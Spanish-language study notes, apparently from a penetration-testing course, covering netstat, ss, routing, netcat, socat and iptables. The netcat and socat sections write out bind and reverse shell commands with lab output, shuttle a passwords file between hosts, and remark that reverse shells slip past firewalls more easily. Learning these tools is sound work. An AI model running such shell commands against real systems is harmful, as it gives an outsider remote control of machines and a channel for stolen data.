Servicios de Red
Chequeo de actividad en la red
Existen 3 comandos principales para esta actividad netstat, ss y arp
netstat -natup
nos muestra la comunicación que hay en la red así como el estado de la misma
ss
es una versión más reciente de netstat y arp -en
nos muestra la tabla de direcciones MAC alamacenadas en un equipo
El estatus ESTABLISHED indica que hay una conexión activa, CLOSE_WAIT indica que existe una conexión pendiente de cerrar por el socket.
Si un equipo se encuentra en escucha con la ip 0.0.0.0 significa que ese equipo esta en modo LISTENING en todas las interfaces.
sudo ss -natup
nos puede mostrar el nombre del binario asociado a la conexión
Ruteo
El comando route
nos permite observar el alcance de nuestra red, un host esta configurado para usar el gateway como router para acceder a la red.
Ejemplo de troubleshooting
Escenario: Se intenta alcanzar una ip dentro de cierto segmento, sin embargo, no esta dentro de la lista de ruteo
Netcat (nc)
nc nos permite conectarnos por tcp o udp para validar si el puerto esta abierto, obtener un banner o funcionar en modo servidor.
El comando GET dentro de NC nos permite consultar servicios web, por ejemplo
kali@kali:~$nc -nv 192.168.65.61 80
(UNKNOWN) [192.168.65.61] 80 (http) open
GET / HTTP/1.1Host: 192.168.65.61
HTTP/1.1 200 OK
Server: nginx/1.21.6
Date: Fri, 08 Jul 2022 16:43:38 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
767
<html>
...
Modo escucha(servidor)
kali@kali:~$nc -lvnp 6666
listening on [any] 6666 ...
Conexión hacia el servicio 6666 (cliente)
offensive@server01:~$nc -nv 192.168.65.200 6666
Connection to 192.168.65.200 6666 port [tcp/*] succeeded!
This is a chat message from the exercise host!
Transferencia de archivos con nc
Servidor
offensive@server01:~$nc -lvnp 6666 > incoming.txt
Listening on 0.0.0.0 6666
Creación y envío de archivo(cliente)
kali@kali:~$echo "This is an example of sending a file" > incoming.txt
kali@kali:~$nc -nv 192.168.65.61 6666 < incoming.txt
(UNKNOWN) [192.168.65.61] 6666 (?) open
Bind shell con nc
La opción -e permite la ejecución de una aplicación, por ejemplo cmd.exe
Servidor(Windows)
C:\Users\offsec>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.11.0.22
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.11.0.1
C:\Users\offsec>nc -nlvp 4444 -e cmd.exe
listening on [any] 4444 ...
Cliente(linux)
kali@kali:~$ip address show eth0 | grep inet
inet 10.11.0.4/16 brd 10.11.255.255 scope global dynamic eth0
kali@kali:~$nc -nv 10.11.0.22 4444
(UNKNOWN) [10.11.0.22] 4444 (?) open
Microsoft Windows [Version 10.0.17134.590]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\offsec>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.11.0.22
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.11.0.1
Reverse Shell con nc
cliente
kali@kali:~$ip address show eth0 | grep inet
inet 10.11.0.4/16 brd 10.11.255.255 scope global dynamic eth0
kali@kali:~$nc -nv 10.11.0.22 4444 -e /bin/bash
(UNKNOWN) [10.11.0.22] 4444 (?) open
Servidor
C:\Users\offsec>nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.11.0.22] from <UNKNOWN) [10.11.0.4] 43482
ip address show eth0 | grep inet
inet 10.11.0.4/16 brd 10.11.255.255 scope global dynamic eth0
El bind shell es fácilmente detectado por los firewalls, por otro lado el reverse shell será mas efectivo
SOCAT
Cliente
socat - TCP4:<remote server's ip address>:80
Servidor
sudo socat TCP4-LISTEN:443 STDOUT
Transferencia de archivos
kali@kali:~$ **sudo socat TCP4-LISTEN:443,fork file:secret_passwords.txt**
C:\Users\offsec> **socat TCP4:10.11.0.4:443 file:received_secret_passwords.txt,create**
Reverse shell (servidor)
C:\Users\offsec>socat -d -d TCP4-LISTEN:443 STDOUT
... socat[4388] N listening on AF=2 0.0.0.0:443
Cliente
kali@kali:~$ **socat TCP4:10.11.0.22:443 EXEC:/bin/bash**
Otra forma de conectarse por bind socat TCP4:172.16.53.20:456 stdin
IPtables
Funciona como firewall stateless por default pero puede ser configurado como stateful.
Ejemplo regla de entrada
kali@kali:~$sudo iptables -s 192.168.1.0/24 -p all -A INPUT
[sudo] password for kali:
kali@kali:~$sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
all -- 192.168.1.0/24 anywhere
Chain FORWARD (policy DROP)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Ejemplo para habilitar el trafico por el puerto 8080 al localhost
kali@kali:~$sudo iptables -R INPUT 1 -s 192.168.1.37 -d 127.0.0.1 -p tcp --dport 8080
kali@kali:~$sudo iptables -nL --line-numbers
Chain INPUT (policy ACCEPT)
num target prot opt source destination
1 tcp -- 192.168.1.37 127.0.0.1 tcp dpt:8080
2 DROP all -- 192.168.1.0/24 0.0.0.0/0
3 all -- 127.0.0.1 127.0.0.1
4 all -- 127.0.0.1 0.0.0.0/0
Chain FORWARD (policy DROP)
num target prot opt source destination
Chain OUTPUT (policy ACCEPT)
num target prot opt source destination